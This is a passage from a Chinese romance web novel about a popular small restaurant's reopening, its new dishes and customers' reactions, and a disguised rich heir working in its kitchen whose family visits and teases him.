这次扩建过后开业，庄凝冬还上了几样新品：荷花酥、红烧肉和鳜鱼狮子头。 所以顾客们的热情由此大涨，店铺一开门就涌了进来，跟一辈子没吃过饭一样。 “终于又营业了，天知道我等这次装修等得有多久，期间都不太能吃得下别的饭，搞得我都饿瘦了好几斤了呢，这次可得好好吃回来！” “重新装修扩建过后的庄记真的气派好多啊，空间宽敞了，桌椅也更新了。” “何止，人也更多了呢。” “……扎心了老铁。” “我是老顾客了，还记得刚来的时候，这里还没什么人了，好像才一眨眼的功夫，这里就已经从无人问津变成了门庭若市，宝藏饭馆这下是真的藏不住了。” “我也是老顾客了，真的好感慨，亲眼见证着庄记一步步走来，莫名有股骄傲自豪。” “别光顾着自豪了，据说今天要上新荷花酥、红烧肉和鳜鱼狮子头，斯哈已经开始流口水了。” “你们排前面的能不能给我们后面的留一点？买不到真的买不到。” “你这要求，我很难做到呀兄弟，你看，这三样都是新上的菜式，我们都没吃过也都想试试，能舍弃谁呢，更何况，下次我们可能就排不到那么前了。” “就是，还是各凭本事才好。” …… 装修期间，庄凝冬也新招了几个厨子和面点师。 其实短时间内是没法让他们提升太多的，庄凝冬培训他们的时候用的是最保守的办法，就是固定好一次的食材用量，搭配好调味料的配方比，让他们就按着这个来训练。 这样看似是蠢笨死板了点，但对于短时间的提升还是很有用的，就比如现在，他们已经可以独立完成店铺的饭菜了。 至于菜式创新这方面，有庄凝冬在，倒是不怕。 今天是扩建后的第一天营业，后厨不需要庄凝冬时刻看着，她便偶尔到前面来招呼客人，有时候还会询问他们对这些饭菜的评价，看看有哪里需要改进的地方。 “这一家饭馆被你经营得那么好，不管从哪方面来说，都已经做得很完美了，其实已经不需要了改进了。” “就是啊老板，真的不用改进了，已经够完美了，就说今天这个鳜鱼狮子头吧，肉质太鲜嫩了，颗粒感很强，汤水也很清甜，方方面都一级棒。” “别说，我一开始看到这么一大颗丸子，还心想这不是特大号鱼丸吗，难不成做得大一点就能叫狮子头了？结果吃了之后，诶还真比鱼丸好吃。” 其他顾客问他：“那你吃出有什么区别了吗？” “……没有，反正就是好吃。” 庄凝冬笑了笑，道：“鱼丸是把肉打成泥，弄成鱼糜，搅拌起胶，摔打上劲，吃的是脆爽弹牙的口感，狮子头呢，是保持鱼肉的颗粒状，炖煮过后，吃的是软嫩肉香，保持入口即化的口感的同时还能吃到肉粒。” 那个顾客仔细回想了一下吃过的鱼丸和狮子头，恍然大悟：“好像还真是，没想到在吃这方面，还藏着那么大的学问，真是学到了。” “不然你以为老板为什么能做出那么多好吃的菜式？” “其实吧，我感觉还是有需要改进的地方的，比如说，什么时候才能满足我们每个人的需求，做到只要一上新，就能保证我们人手一份。” 其他人顿时大笑说那个人在做梦。 …… 庄凝冬在一处交流完又去了别处看看，然后不经意间发现队伍里似乎有几张熟脸庞。 是原主大学的那三个舍友。 “是你们？！”庄凝冬走过去，惊喜地跟她们打了声招呼：“你们怎么来了？” “我们之前不是说好的嘛，有空一定找时间来一趟你的店铺照顾一下你的生意的嘛。” “是啊，现在你店铺刚好又装修扩建了，我们可都在热搜上看到了呢，当然得趁着这个喜庆的节点来啦。” “就是你店里人也太多了，好像也不缺我们三个人的生意。” “怎么会？”庄凝冬笑着跟她们客气了几句：“你们怎么不提前跟我说一声？这样我也好给你们留桌子，就不用你们排队等了。” “我们是想着你肯定很忙，应该顾不上我们，所以我们才没说。” “其实排下队也没什么啦，咱们大学刚认识那会出去吃饭破冰不就选了一家网红店吗，那次排队也排老半天了呢，最后味道还不怎样，都是营销出来的，我会记他一辈子的！” 庄凝冬想了下，是有那么一回事，她笑：“是，我记得雯雯那次还被服务员不小心洒到了一点橙汁。” “别提了……真的倒霉。” 不远处过来找庄凝冬有点事的傅修霁刚好听完了全程。 他站在原地，思绪有点乱。 不对，两种人格不会共享记忆，她是怎么记得大一的事的？ 难道大一的时候是眼前的这个人格？ 可是荣誉墙上的照片也是大一入学那个时间拍的。 是短时间内就换了人格，还是说，她是特殊案例，她的两种人格之间可以共享记忆？ 傅修霁没走神多久，上前喊了声：“老板。” 一道清冽好听的声音突兀地插。进来，几个人的注意力马上被吸引了。 庄凝冬转头：“怎么了？” “后厨有点事。” “我马上就来。” “好。” 傅修霁先一步回了后厨，待他走后，三个舍友一下子就来劲了：“哇去！凝冬你都是在哪招的人啊？怎么能这么帅？简直是天菜！” 庄凝冬：“是他自己找过来的。” “牛逼。”舍友忽然眼神暧昧意味深长道：“不过我看着你跟他好像还挺配的，我记得你好像也没有男朋友吧凝冬，感觉可以考虑考虑他。” “刚我就想说了，他喊的那句老板也太苏了吧，而且他现在看着是打工人，但感觉气质还是有那种独一无二的矜贵感，真的可以考虑一下的。” “……” 庄凝冬心底有一瞬间的轻颤，她眨了眨眼，有点不好意思：“你们别胡说了，我得先去忙了，你们等会儿要是有事的话可以到后厨找我。” 说完，庄凝冬就进了后厨。 其实后厨也没什么事，只是出了一点小状况，很快就解决好了。 不过解决完后，庄凝冬也没再出去了，就留在后厨帮忙。 这些天下来，庄凝冬发现傅修霁是个罕见的全能型选手，不管是厨艺、刀工还是面点，他都会，而且不是浮于表面的那种会，而是精通的那种会。 因此他也成了后厨的重要员工之一。 到时候上新菜式的事或许可以交给他…… 庄凝冬干着手里的活，时不时看一眼不远处的身影，思绪渐渐飘远，又不自觉地想到刚刚舍友说的话。 …… 她轻晃了一下头，强迫自己把那些不着调的事从脑子里甩出去。 才刚重新集中了一会儿精神，下一秒，傅修霁就走了过来。 “老板。” “怎么了？” “这个荷花酥我做得不太好，你能再教教我么？” * 江映槐端着盘子从楼上下来，手机铃声响起。 也不知道是谁这个时候打电话来，现在工作时间可忙了。 江映槐在心底吐槽了声，拿起手机看了眼，是江承泽。 这下她不吐槽了，开骂了。 “江承泽你有病吧？你不知道我现在在干活？忙着呢，以为谁都跟你一样随时随地想打电话就打啊？” “……”那头的江承泽头疼地按了按太阳穴：“那你先忙吧。” 江映槐正要挂，江承泽又道：“等一下。” “……放。” 江承泽简单问了一下江老的情况，然后又略显委婉地提到了庄凝冬。 江映槐有点无语了：“哥，不是我说你，你要是对人家有意思你就去追啊，你就直接去联系人家啊，隔着我问问问，人家能知道？虽然我觉得你也配不上师父……” 江映槐走到后厨那，下意识看向聊着的话题人物，然后发现某个讨厌的身影靠她师父特别近。 “……” “就你还在这隔着我问呢，人家已经有了行动打入内部跟我师父朝夕相处了。”江映槐毫不留情道：“江承泽，活该你母单。” “……” “不说了，挂了。” “……” 江映槐放好手机往里走去就听见了傅修霁那句—— “这个荷花酥我做得不太好，你能再教教我么？” 江映槐快步走上去：“荷花酥啊，我会做啊，我来教你吧。” 庄凝冬想着也许这样能让他们之间的关系得到缓和，于是点了点头：“对，映槐也做得很好，可以让她教你。” “可是——”傅修霁拖长声调，头一歪，就这样看着庄凝冬：“我想让你教我。” “……”庄凝冬看看傅修霁，又看看江映槐，一时间不知道该怎么办才好。 江映槐本来就烦，现在更是怒了：“你什么意思？看不起问我？我还不想教你呢！” 殊不知，这样正中傅修霁下怀。 “既然你不想教，那还是不强人所难了吧。”傅修霁看向庄凝冬，笑了声：“老板你说是吧。” 庄凝冬：“……” 江映槐：“？” 这人真阴！ 庄凝冬只是晚了一点点回应，便听着傅修霁继续说道：“老板，为什么你可以亲自教别人，就不能亲自教我呢？” “是不是因为我还不够优秀，唉，都怪我，要是我有十双手就好了，这样一定会进步神速吧，那样你应该就会教我了。” “……”庄凝冬：“我教你就是了。” “谢谢，辛苦了。” 眼看着还真被他得逞了，江映槐在一旁气笑了。 不是，人怎么可以没皮没脸到这种地步？ 还——要～是～我～有～十～双～手～就～好～了～ 简直没眼看！ * 另一边，傅老爷子带着傅迎月和傅运霖也来到了庄记附近。 傅迎月看着不远处长长的队伍，人都傻了：“这么多人！！爷爷您确定我们要排？” 傅运霖看着也害怕：“是啊爷爷，这人也太多了，排到我们估计都没了吧。” 就他们这个身份，那么多年来哪里排过什么队，想要什么都可以使用钞能力让人送过来，从来只有别人等他们的份，他们哪里等过那么久啊。 傅运霖灵机一动：“爷爷，您说我们要是上去亮明身份的话，店家应该就不会让我们排队了吧？” 这话一出，傅运霖头顶立刻被轻敲了一下，他吃痛地抱住脑袋，控诉地看向傅老爷子：“干嘛呀爷爷？” “从小到大没教过你不要净想着用身份解决一切？这只是排个队，又不会少块肉，这就难到你了吗？” 傅迎月看见傅运霖被骂，瞬间忘了自己刚说过的话，立即幸灾乐祸地附和：“就是就是，爷爷说得对。” 傅运霖：“……好吧，那赶紧去排队吧，不然晚了真就没有了。” “不急，”傅老爷子这才悠悠道，“我已经事先让助理去排着了。” “……” 等傅老爷子他们走过去，助理也刚好点完菜，傅老爷子他们过去坐下等着就行了。 傅运霖和傅迎月好奇地打量着四周。 “环境还不错吧。” “收银台旁边那块假山水也挺有格调的。” “卫生也搞得干净，在那么多人那么忙碌的前提下，每张桌子居然还能做到一点油渍也没有，看来店长对这方面要求很严格。” “嗯……服务员的培训也确实到位，那边窗口好像能看到后厨的情况，快看看。” “厨子的穿着打扮很符合卫生要求，厨子的……等会儿，”傅迎月不可思议地揉了揉眼睛，“我眼睛出问题了？那厨子……怎么长得那么像大哥？不对，好像真是大哥。” 傅运霖取笑她：“姐，你这也太离谱了吧，等回去真的得请万宁最好的眼科医生看看了，大哥他怎么可能——” 傅运霖转头一看，一口茶水差点喷出来，他强烈地咳嗽几声，脸都憋红了，等缓过来，才断断续续道：“卧槽！！这么像？！” 连傅老爷子都被他们的反应惊得看向了后厨那边。 不过此时后厨人员恰好在走动，挡住了傅修霁的身影，傅老爷子啥也没见着。 “你们两个啊，大惊小怪的，俢霁怎么看可能出现在这呢，还给人打工当厨子？估计是两人长得像，你们看错了吧？” 傅运霖：“好像也是，平时在家的时候让大哥做顿饭都跟要了他的命一样，怎么可能在这给别人打工呢……” 但傅迎月还是觉得有点奇怪，难道真的看错了？ 店里人多，走来走去的遮挡视线，后面傅迎月没有多少机会能看到后厨的场景了。 再后面，点的菜被端了上来，傅迎月被吸引走注意力，便没再纠结这件事了。 这次出游，他们不是只在这里呆一天，所以并没有把菜单上的菜都点一遍，只点了足够他们吃的量。 其他没吃过的菜式可以等下次再点。 不过这一顿倒是把新上的三样菜式都点了。 荷花酥是用盒子装着的，粉红色的外盒，画有满池塘盛放的荷花，艳而不俗，生动得仿佛能闻到扑面的荷香。 “盒子好看哎。” 荷花酥作为饭后点心，先不吃，傅迎月赞叹一句就把盒子放到她的旁边，一副当宝守着的架势。 “红烧肉才是真的好看！” 傅运霖一看见红亮剔透的红烧肉就已经开始忍不住咽口水了。 家里有一个在吃的方面特别挑剔的儿子，傅老爷子多多少少也懂一点。 “红烧肉是通过炒糖色上色的，而炒糖色是最容易翻车的一个步骤，这样看来，这份红烧肉的色泽确实挺不错的。” 傅老爷子：“红是偏亮一点的红，不似那种暗沉沉的，做到了真正的色如玛瑙，想来味道应该不错。” 傅老爷子刚说完，傅运霖就迫不及待地拿起筷子夹了一快放进嘴里。 味蕾触碰到红烧肉的一瞬间，傅运霖不禁瞪大了眼睛。 红烧肉是咸甜口味，舌尖先尝到的，是能衬托肉质鲜美的咸，而后是微微的甜味在口腔中漫延，隐隐还带了点辣味。 在味道方面，它的层次感很丰富。 而口感…… 因为红烧肉在制作的过程中，需要煎过或者炸制过，所以咬下去的时候，除了软韧的口感之外，还能尝到表皮有点点微脆的焦香。 傅运霖咀嚼着，享受着那略带弹性的嚼劲，话是来不及说的，但大拇指已经竖起来了。 他迅速咽下一块红烧肉，赞不绝口：“好香啊，真的好香！四周那脆脆的焦香特别好吃，肉也不是完全软烂到化开的那种，软的同时还有点弹牙，口感特别好，不说了，我要继续吃了。” 傅运霖毫无吃相可言，跟几辈子没吃过饭一样。 傅迎月笑他：“你就不能吃慢点？你这个样子，不知道的还以为我们虐待你，没给饭你吃呢。” 傅迎月说着，然而等她自己尝了一口之后，也被惊艳到顾不上维持吃相了。 “哇，这味道真的绝绝子！” 就连傅老爷子吃过后，也忍不住叹道：“确实好吃啊，火候和味道都掌控得非常好，炒糖色原本是最容易炒出苦味的，但是这份红烧肉完全不苦，并且咸甜辣三种味道也平衡得很妙，妙极了，难怪老江会说比百味楼好吃，还一直赖在这不走呢。” 将红烧肉的汁舀一点淋到雪白喷香的米粒上，饭粒裹上咸甜辣的肉香，配上入口即化、不干不柴的红烧肉，太下饭了！ 就连傅迎月都一下子扒拉了好几口米饭。 他们几人吃了红烧肉后，终于把目光放到了一旁的鳜鱼狮子头上。 狮子头虽然是国宴菜，但对于他们来说，却不罕见。 他们吃得最多的还是百味楼的狮子头。 狮子头普遍以猪肉为原材料，百味楼的也不例外，不过其他创新式的狮子头他们也吃过不少，最后还是觉得传统的狮子头比较好吃。 如今再次面对创新式的鳜鱼狮子头，他们还是有点纠结和犹豫的。 鳜鱼肉质细嫩，肉味鲜美，做成狮子头炖煮的话不知道会不会把它的肉质煮老了。 瓷白的炖盅里，透澈见底的清汤中，一颗硕大的丸子被搁置在中央，整体颜色一致，偏肉白色，上方放着一粒鲜红的枸杞、以及旁边放着一颗小巧的、碧绿的上海青作装饰。 傅迎月悄咪咪吞了吞口水，说：“它的颜色很均匀哎，跟妈妈煮的肉丸不太一样，妈妈煮的肉丸有一半接触到空气会偏干发黑，虽然味道吃起来没什么差别，但卖相就不是很好。” 那是因为庄凝冬在煮这份鳜鱼狮子头时，有用大片的白菜叶子盖在狮子头上方，防止浮出水面的部分狮子头与空气接触，避免风干发黑。 所以整份鳜鱼狮子头，从煮制到出锅都能三百六十度保持一样雪白的颜色。 这份鳜鱼狮子头从外观上来讲，是完美的，就是不知道味道如何。 傅老爷子也不急着挖狮子头的肉吃，而是先舀了一勺清汤送进嘴里。 清汤碰到舌尖的一瞬，味蕾感受到了一股极致的清甜，从口味上来讲，有鱼的鲜味，似乎就是炖煮这份鳜鱼狮子头的汤水，而非另外熬制的高汤。 由于庄凝冬在做菜的过程中用到的白菜是焯过水才盖到狮子头上的，所以融入汤水中清甜是没有土腥味的，只有一股很纯正的微甜，很好喝。 傅老爷子被这股鲜味激得愣住了，勺子就这么放在嘴边，好半天才回过神来。 “这口汤也太鲜甜了……” 傅迎月：“我宣布这是我这辈子喝过最好喝的汤了，真的好喝到想哭呜呜呜。” 傅运霖：“这店长是人吗……一定是神仙吧，所以才能做出这种神仙美味。” 新品上线一如既往限购，所以他们是三个人吃一炖盅的狮子头，里面统共也没多少汤水，分分开开到每个人的碗里更是少之又少。 等汤水见了底，几个人才对中间那颗狮子头下手。 勺子下去，挖了一小勺肉，那肉质躺在勺子中间，晃荡几下，那点雪白的肉软弹到跟着晃悠。 鳜鱼只有一条大刺，没有小刺，庄凝冬将鱼肉片下来以后切成了颗粒状，所以这勺熟了的狮子头里，一粒粒鱼肉也是清晰可见，仔细看还能看到上方鱼肉的纹理。 一份狮子头的肉不多，傅迎月看着那一勺肉，有点不舍地咬了一小口。 肉质的口感非常嫩滑！鱼肉的鲜味被发挥到了极致，满满一口腔都是鳜鱼的鲜甜。 鳜鱼肉本身就足够细腻，经过长时间的炖煮，其实已经达到了入口即化的程度，但还是能尝到明显的颗粒，口感层次很丰富。 “这鱼肉，太鲜美了！”傅迎月不可思议地看了眼勺子，喃喃道：“好吃到我怀疑我吃的都不是鱼肉了，鳜鱼真的有这么好吃？” 鳜鱼对比他们吃过的其他更贵的鱼来说，实在是太普通了。 然而今天一吃，他们都彻底改观了。 “等回去了，我也要让阿姨买鳜鱼来做！”傅运霖吃东西不像傅迎月那样小口小口舍不得似的，而是一大口一下就吃掉了挖的大块狮子头。 满满一勺鲜甜滑嫩又有颗粒感的鱼肉在口腔中迸发着香味，别提有多满足了。 傅运霖舒服地眯起眼睛享受。 “这可是连百味楼都做不出的美味。”傅老爷子吃完也被这份鳜鱼狮子头俘获了芳心，一下子就成了庄记的忠实顾客，他哼笑了声：“你确定阿姨能把它做好？” 傅迎月：“就是，你可别为难阿姨了。” 三人你一言我一语，炖盅里的狮子头已经不剩多少肉了，傅老爷子宠爱这两个孙子，便把剩下的肉让给了他们。 傅运霖作为弟弟，平常没少被傅迎月压榨，现在也不例外，剩下的狮子头里，傅迎月自然地被分到多了一点点。 别问，问就是傅运霖“心甘情愿”的。 三人很快就把桌子上的饭菜都搞定了，好吃到连一些汤汁食材碎屑都没放过。 “这家饭店真的太好吃了，是怎么做到每一碟饭菜都做得那么香的？”傅迎月哀叹道：“呜呜呜我辛辛苦苦的减肥计划一下子就泡汤了。” “嗝～好饱啊，份量足，价格也不贵。”傅运霖说着，忽然意识到一个重要的问题：“老板这样真的能赚到钱吗？要是赚不到钱会不会就此关门不干了？不要啊，我才吃了一次呢，爷爷，要不您去投资这家店吧？多砸点钱，这样老板就会一直干下去了。” 傅老爷子在刚刚吃饭的过程中还真考虑过这个问题。 没办法啊，这家店的味道真的太好了，比百味楼都好吃。 可惜只有在溪城才能吃到。 但他又不能一辈子待在溪城，总不能每次想吃都千里迢迢来一次吧，特别这里还没有停机坪，来一次太麻烦了。 还是投资开分店更实在。 傅老爷子：“别急，我到时候就跟你大哥讲讲。” “你们说，大哥他能答应吗？”傅迎月想了想：“爷爷，他要是听到你要投资小地方的一家小饭馆，会不会露出‘你没事吧’的那种神情？” 傅老爷子哼了声：“他敢？！” 傅运霖：“害，我觉得就得想办法让大哥也尝一尝这里的饭菜，让他知道什么是人间美味，也让他知道不要试图‘以貌取店’。 “问题是，怎么让大哥吃到这些饭菜。” “打包一些带回去？” “不行，闷几个小时，菜品原来的味道肯定会变，就大哥那张破嘴，平时煮多了一分钟他都能尝出来，别到最后适得其反了。” “那还能有什么办法？让他亲自来一趟更不可能……” 气氛静了几秒。 傅迎月忽然道：“或许，也是有可能的吧？” 傅运霖疑惑：“什么？” 傅迎月朝某个方向抬了抬下巴：“不用想办法了，人已经到了。” “什么啊？” 傅运霖不甚在意转头，看清人群中的某个人后，话被卡在了嗓子里，发不出一丝声音。 “……” 短暂震惊过后，傅运霖的下巴都险些被惊掉：“不是，大哥？真的是大哥？他怎么会在这里？” 这回连傅老爷子也难以置信了：“真的是俢霁？” “喊一下不就知道了。”傅迎月说完，下一秒，她喊道：“傅修霁！” 声音不大不小，傅修霁刚好能听到。 他转过头来，看见傅老爷子三人：“……” 傅修霁难得愣了片刻。 而后，他快步走过去，视线落在傅迎月上，没忘记她刚刚喊的大名。 “想造反？” 傅迎月后知后觉有点怂：“我们只是想确认确认这个人是不是你而已，万一是我们认错了呢？” “那就去看看眼睛。” “……” 这三人，从小就是拌嘴长大，刺的那几句无伤大雅，哪天不斗了傅老爷子还不习惯了呢。 听完他们说完，傅老爷子才慢悠悠笑着开口：“俢霁啊，你怎么突然到这儿来了？还……” 傅老爷子指了指他的打扮：“你这是在……什么什么cosplay？” “……” 傅修霁顿觉头疼：“我还想问你们怎么到这儿来了呢？” “哦，我本来想约老江玩的，老江说他在这里，我一看，发现这里还有一家营销得天花乱坠的饭馆，想着反正要来老江玩的，便干脆过来尝尝了。” 傅老爷子说：“结果吃完才发现，原来不是营销，是真的好吃。” “对了，你呢，你为什么会在这？” “……” 傅修霁还没想好借口，便听到傅老爷子继续道：“我听老江说，他每天都会来这里吃饭，那你是不是已经见过他了？” “哎，不对，他应该也早就见到你了，所以，只有我们不知道你在这？” 傅老爷子一下子就耷拉下唇角，有小脾气了。 自己不知道自己孙子在哪，别人却知道，这像什么话？ “……” 傅修霁顿觉头疼，这事不能坦白跟他们说，他想了想，唇角挂着笑，一副不着调的模样：“爷爷，您看看我多大了？怎么，出个门还要跟您报备？我要不吃喝拉撒也跟您说一声？” 傅老爷子：“……” 这话在理，傅老爷子被咽住，那点小脾气无处可发，过了半晌，他摆了摆手：“算了算了，不跟你计较。” 孙子长大了，说不过他。 傅修霁那头还要忙，便道：“行了，你们吃完就先回去吧。” 傅老爷子：“回去？我们可没那么快回去。” 傅修霁：“？” 傅修霁：“你们还要在这里住上几天？” “是啊，我都说了来找老江的嘛，才刚到呢，连他人影都没见着，当然不能那么快回去。” “……” 这就麻烦了。 傅修霁怕身份暴露在这里待不下去，想了下，还是对他们道：“你们要在这里住也可以，就是有一点需要你们配合。” “什么？” “假装不认识我。” 傅老爷子三人：“？” “这是什么奇怪的要求？” 傅老爷子还没想通，傅迎月和傅运霖已经高兴起来了。 傅迎月兴奋：“那是不是说明我以后可以对你大呼小叫了？” “……” 傅运霖也激动：“那我可以对你呼来唤去了？” “……” 傅迎月：“我靠，想想就好爽！也别以后了，干脆就现在开始吧，我就当做从来没有你这个大哥！” “……” 傅运霖：“大哥，哦不，服务员，帮我们拿一壶茶水来吧，这壶喝完了。” “……” 傅修霁气笑了，他没好气地冷声道：“吃完就赶紧滚。” “这服务员的态度也太不好了，爷爷，咱们走！” “……” 很快，傅迎月和傅运霖就为这次的口嗨付出了代价—— 这个月的零花钱没了。 * 傅老爷子他们出了饭店，终于在附近的一处人家跟江老爷子碰了面。 他人正在逗鸟呢。 经过一番短暂的闲聊，傅老爷子才知道，原来老江的孙女也在那家店工作，并且老江他还能沾孙女的福，每天不用排队就能吃到庄记。 看见傅老爷子的表情不太对劲，江老爷子问：“咋了？你大孙子不是也在那工作么，他没让你跟着去吃？” 傅老爷子没说话，但江老一看他那表情，就知道自己猜对了。 他忍不住发笑：“这是什么情况啊？” 江老试着安慰他：“别伤心，说不定是你们的穿着打扮太高调了，先前他看见我就让我帮他隐瞒身份来着。” 傅老爷子：“为什么？” “他说，要是家里太有钱的话，就不好留下来工作了。” 傅老爷子暂时没空分心去想他为什么要留下来的问题：“要是这样就好办了，他是连人都不认了。” “啊？连人都不认了？”江老不懂，但江老也震撼。 此时，那只绿鹦鹉适时发出叫声：“大孝子～大孝子～” 众人：“……” 傅老爷子内心郁闷：真是孝死了。 江老还是安慰道：“嘿，他都那么大个人了，这么做肯定有他的道理，不认就不认呗，管他呢，咱们来玩自己的。” 傅迎月也附和着说道：“就是啊爷爷，管他干嘛，我们玩我们的，这样又不会少块肉，不对，要是能少块肉就好了。” “……” 傅老爷子也没郁闷多久，很快就想通了，整天跟着江老玩这玩那，终于享受到了乐趣，也没空去管那气人的大孙子了。 傅迎月和傅运霖就跟在傅老爷子后头，玩得开心极了，比呆在家里好玩多了。 原来这就是退休生活，真想一键快进到退休生活啊…… 几人玩到天黑，被江老带着跟邻里街坊认识了一遍，晚上，又以江老的朋友的身份，被江老带去跟庄凝冬他们吃晚饭。 饭桌上，傅修霁看着眼前熟悉的三人，陷入了沉默。 由于江老提前打过招呼，所以庄凝冬也做足了份量。 她端着一份满当当的汤出来，傅修霁看见，下意识接过：“我来就好。” 傅迎月瞬间嗅到了八卦的味道，立马掐了一下傅运霖的手臂。 傅运霖现在眼里只有吃的，压根不知道发生了什么：“姐你干嘛？” “嘘——”傅迎月凑过去小声道：“我好像发现大哥，哦不对，他现在不是我们大哥了，就是我好像发现那人留下来打工的原因了，你快看我微信给你发的消息。” “……”傅运霖看了眼手机。 ——[傅修霁绝对是因为这家店的老板才留下来的！] ——[我说怎么有天看见爸他早上骂骂咧咧出门了，原来是大哥不在，要他回去上班。] ——[是我我也骂骂咧咧。] 傅运霖惊恐地瞪大双眼：“怎么可能？！” 傅迎月压着声音道：“你小点声！” “……” 在傅运霖眼里，傅修霁这个大哥就是一个不懂风情、不近女色的毒舌男，爸妈都催过他多少次去相亲了，他就是一次也不去。 有时候老妈辛辛苦苦给他找来比较匹配的女生的信息，他也看都不看一样。 傅运霖甚至觉得，大哥对工作的兴趣都比对女生的兴趣大。 傅运霖：[怎么可能，大哥一看就不是那种人，我不信。] 傅迎月对自己的直觉非常有自信：[赌不赌？] 傅运霖：[赌什么？] 傅迎月：[半年的零花钱。] 傅运霖：[玩这么大？] 傅迎月：[你不敢？] 傅运霖：[不可能，赌就赌。] 两人收好手机，坐下来，准备吃饭。 中午到饭店吃饭的时候，店里人太多，傅迎月愣是没见着庄凝冬一眼，如今近距离一看，才发现她是真的好看。 跟宴会上看过的张扬明媚富贵花不一样，她是那种柔中带刚的美貌，乍一看，是美的很清淡的，气质出尘，举手投足有点大气，温柔有力，偏偏眼睛又亮得灵动。 “这两位是……”庄凝冬看向傅迎月和傅运霖。 “哦，这是我的孙女和孙子，跟着我过来玩呢。”傅老爷子说。 傅迎月这才回过神来，跟着傅运霖一起打了个招呼。 “既然你们还要在这儿带上几天，有什么喜欢吃、想吃的都可以跟我说一声，到时候给你们做。”庄凝冬对他们笑了笑。 “真的吗？”傅迎月看着她眨眨眼，忽然叹了口气，演起来了：“姐姐，你对我们可真好，你知道吗，我以前老是在想，要是我有个姐姐就好了，她会像你这样温柔地包容我，宠着我，可惜我只有一个狠毒的哥哥，从小到大，他只会打击我，无缘无故克扣我的零花钱，还非常记仇，对我特别不好，现在对比一下，真的好想哭啊……” 傅修霁：“……” 傅老爷子：“……” 江老爷子：“……” 傅运霖听得目瞪口呆：还能这样？ 庄凝冬有点手足无措了，她愣愣地看看傅迎月，又看看一旁的傅老爷子：“这……” 眼神在求证。 傅老爷子看出来了，现在，他只会无条件站孙女这边。 呵，谁让傅修霁瞒着瞒那的。 傅老爷子点点头。 “这，可是……”庄凝冬忍不住问：“你哥哥这样对你，那你爸爸妈妈不管他吗？你爷爷也不管吗？” “……” “姐姐你有所不知，我哥他歹毒得很，小的时候，因为还没长大，所以他经常当着长辈的面是一套，单独面对我时又是另一套，后来长大了，有权利了，就开始肆无忌惮了，谁他都不放在眼里，唉，就连爸爸妈妈爷爷都拿他没办法啊。” “……” “而且，我哥他对我弟弟也一样，我们从小都没感受到过被哥哥姐姐关爱的感觉，”傅迎月说完，在桌下其他人看不见的地方用力扯了扯傅运霖的衣服：“你说是吧，弟弟？” 傅运霖：“……是啊。” 庄凝冬没想到自己只是提了一嘴给他们做点吃的，都能让对方有这么大的触动，想来一定是以前过得很不快乐了。 况且，能和江老这种级别的人做朋友，他们的家境一定也不差。 这豪门多的是为了争权夺利自相残杀的事，他们过得也太苦了。 庄凝冬不禁叹了口气：“你们要是不介意的话，可以把我当做你们的姐姐。” 傅修霁：“……？” “真的——” 傅迎月施法施到一半，被傅修霁硬生生打断：“先吃饭吧，再不吃菜都凉了。” 傅迎月看过去，继续道：“饭菜什么时候都可以吃，这么漂亮温柔的姐姐错过了可就难认了。” “……” 就这样，傅迎月一口一个姐姐，叫得甜得不得了。 没人不喜欢甜甜的妹妹，于是，庄凝冬也开心，期间不停地给傅迎月夹菜。 傅修霁看得无语，他夹了一块鸡肉，状似无意地问傅迎月：“你这年纪，还在上大学吧，还没问你的专业，我猜，学的表演是吗？” “……” 第89章 第89章 这话阴阳味太足。 傅迎月在心底里朝傅修霁翻了个白眼，表面上却故作受伤的模样：“傅大哥你这话是什么意思，是觉得我说的都是假的吗？我知道，我说的那些在你看来也许是离谱了点，你质疑也是应该的……” 庄凝冬听完，果不其然轻皱了一下眉，下一秒，她抬眼朝傅修霁望去。 傅修霁：“？” 庄凝冬张了张嘴，还是轻声劝道：“人家一个小姑娘，你不要这样说话。” “……” 傅修霁气笑了，他仿佛能透过傅迎月表面做作的神情看到她背后小人得志的模样。 江映槐虽然不知道为什么傅迎月和傅修霁两人初次见面就有那么浓的烟火味，但以她对傅修霁的偏见来说，估计傅修霁这个人就是这样的吧，跟谁都合不来。 俗话说得好，敌人的敌人就是朋友。 江映槐立马对傅迎月有了好感，并且站到了她那头：“就是，欺负一个小姑娘算什么？” “……” 傅修霁默了半晌，叹了口气，语调有点委屈：“我没有那个意思，我是看她家族基因不错，才以为她会学表演，毕竟娱乐圈最多长得好看的人了。” 庄凝冬等一行人一下子就被带入思考中。 好像，是还有这个含义。 是他们怀着恶意先入为主了。 庄凝冬心底瞬间被愧疚感占满，她带着歉意道：“不好意思啊，是我没想到这一层，误会你了，希望你不要介意。” 傅迎月没想到这都能被傅修霁扯回来，还家族基因……甚至还变相夸了自己。 傅迎月快要被气死了，但还是不能表露出来。 “我的感受不重要，反正已经习惯了，”傅修霁说，“最重要的是，迎月妹妹不要介意才是。” 庄凝冬霎时看向傅迎月：“你不介意吧？” 傅迎月抖掉一身鸡皮疙瘩，几乎咬牙切齿道：“不、介、意。” “……” 看了全程的傅运霖只想说，精彩，真是太精彩了。 娱乐圈但凡有这两位，也不会走下坡路了。 * 接下来这几天，傅迎月有事没事就往庄记跑，很快就跟庄凝冬他们打成了一片。 原本傅运霖是想跟着傅老爷子和江老月子他们去钓鱼的，但由于和傅迎月打了个赌，他必须留下来见证打赌结果。 这天中午吃完饭后，庄凝冬把上午在菜市场买的牛肉拿了出来，准备做灯影牛肉。 这块牛肉选用的是上好黄牛的后腱子肉，肉质颜色深红，很是新鲜，最重要的是筋膜少，特别适合用来做灯影牛肉。 灯影牛肉作为蜀地的传统美食，需要经过腌、晾、烘、蒸、炸、炒这几道步骤才能制作而成。 成品的牛肉片薄如蝉翼，色红如玉，不仅好看，风味也是麻辣鲜脆的 作为美食博主的江映槐自然知道这道菜，她起初也想试着做一下的，可惜被拦在了第一步。 灯影牛肉要做到薄如纸，首先考的就是刀工。 江映槐当时切个苦瓜都不太行，更别说要将肉片切得薄得透光了。 所以她一听到庄凝冬要做这道菜，自然是早早就怀着期待靠过来准备观摩了。 顺便还能帮忙打个下手。 只是有人先她一步，早就在旁边候着了。 做灯影牛肉过程中所需要的什么花椒干辣椒之类的香料，还有需要用到的工具筲箕，傅修霁都提前帮庄凝冬备好了。 就好像对做这道菜的每一个步骤都了如指掌，根本不需要庄凝冬吩咐，就能提前替她备好一切。 江映槐看着，只觉得自己又输了一局，心里堵着一口气，对傅修霁的偏见又多了一分。 这块牛肉提前冻过，质地偏硬，又不会太软，比较方便切片。 庄凝冬拿着刀，先把牛肉上的少量筋膜去掉，再将牛肉切成片。 